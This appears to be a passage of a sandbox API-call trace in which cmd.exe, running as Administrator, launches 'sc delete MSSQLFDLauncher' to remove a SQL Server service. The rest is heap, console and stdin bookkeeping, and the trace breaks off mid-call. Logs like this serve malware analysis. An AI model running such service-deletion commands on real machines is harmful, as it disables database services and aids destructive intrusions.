GetProcessHeap () returned 0x4a0000 [0068.700] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa40 [0068.700] GetConsoleOutputCP () returned 0x1b5 [0068.700] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.700] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.701] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.701] GetProcessHeap () returned 0x4a0000 [0068.701] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.701] GetProcessHeap () returned 0x4a0000 [0068.701] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x46) returned 0x4baa90 [0068.701] GetProcessHeap () returned 0x4a0000 [0068.701] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0068.701] SetErrorMode (uMode=0x0) returned 0x1 [0068.701] SetErrorMode (uMode=0x1) returned 0x0 [0068.701] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.701] SetErrorMode (uMode=0x1) returned 0x1 [0068.701] GetProcessHeap () returned 0x4a0000 [0068.701] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0068.701] GetProcessHeap () returned 0x4a0000 [0068.701] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0068.702] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.702] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.702] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.702] GetProcessHeap () returned 0x4a0000 [0068.702] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.702] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.702] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.703] GetLastError () returned 0x2 [0068.703] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.703] GetLastError () returned 0x2 [0068.703] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.703] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.703] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.703] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.704] GetLastError () returned 0x2 [0068.704] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.704] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.704] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.704] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.704] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.704] GetProcessHeap () returned 0x4a0000 [0068.704] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0068.704] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.704] GetProcessHeap () returned 0x4a0000 [0068.704] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xac) returned 0x4b9180 [0068.704] GetProcessHeap () returned 0x4a0000 [0068.704] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xac [0068.704] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MSSQLFDLauncher") returned 1 [0068.705] GetProcessHeap () returned 0x4a0000 [0068.705] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0068.705] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.705] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.705] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.705] GetProcessHeap () returned 0x4a0000 [0068.705] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.705] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.705] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.705] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.705] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.706] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.707] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.707] GetProcessHeap () returned 0x4a0000 [0068.707] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.707] GetProcessHeap () returned 0x4a0000 [0068.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0068.707] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLFDLauncher", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLFDLauncher", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MSSQLFDLauncher", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x894, dwThreadId=0x8a4)) returned 1 [0068.711] CloseHandle (hObject=0x50) returned 1 [0068.711] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.711] GetProcessHeap () returned 0x4a0000 [0068.711] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0068.711] GetEnvironmentStringsW () returned 0x4c1b10* [0068.711] GetProcessHeap () returned 0x4a0000 [0068.711] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.711] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0068.711] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.711] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.712] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.951] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0068.951] CloseHandle (hObject=0x54) returned 1 [0068.951] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0068.951] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.951] GetProcessHeap () returned 0x4a0000 [0068.951] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.951] GetEnvironmentStringsW () returned 0x4c1b10* [0068.952] GetProcessHeap () returned 0x4a0000 [0068.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.952] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0068.952] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.952] GetProcessHeap () returned 0x4a0000 [0068.952] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.952] GetEnvironmentStringsW () returned 0x4c1b10* [0068.952] GetProcessHeap () returned 0x4a0000 [0068.952] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.952] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0068.952] GetProcessHeap () returned 0x4a0000 [0068.952] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0068.952] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.952] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.953] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.953] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.953] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.953] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.953] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.954] GetConsoleOutputCP () returned 0x1b5 [0068.954] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.954] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.954] GetProcessHeap () returned 0x4a0000 [0068.954] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0068.955] GetProcessHeap () returned 0x4a0000 [0068.955] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0068.955] GetProcessHeap () returned 0x4a0000 [0068.955] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.955] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.955] GetFileType (hFile=0x120) returned 0x3 [0068.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.955] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.955] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.955] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.955] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.955] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.955] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.956] GetFileType (hFile=0x120) returned 0x3 [0068.956] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.956] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.956] GetFileType (hFile=0xb8) returned 0x3 [0068.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLFDLauncher\nce\n") returned 1 [0068.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.956] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLFDLauncher\nce\n") returned 1 [0068.956] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.956] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLFDLauncher\nce\n") returned 1 [0068.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLFDLauncher\nce\n") returned 1 [0068.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLFDLauncher\nce\n") returned 1 [0068.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLFDLauncher\nce\n") returned 1 [0068.957] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.957] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.957] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.957] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLFDLauncher\nce\n") returned 1 [0068.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.958] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLFDLauncher\nce\n") returned 1 [0068.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.958] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLFDLauncher\nce\n") returned 1 [0068.958] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.958] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.958] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.958] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 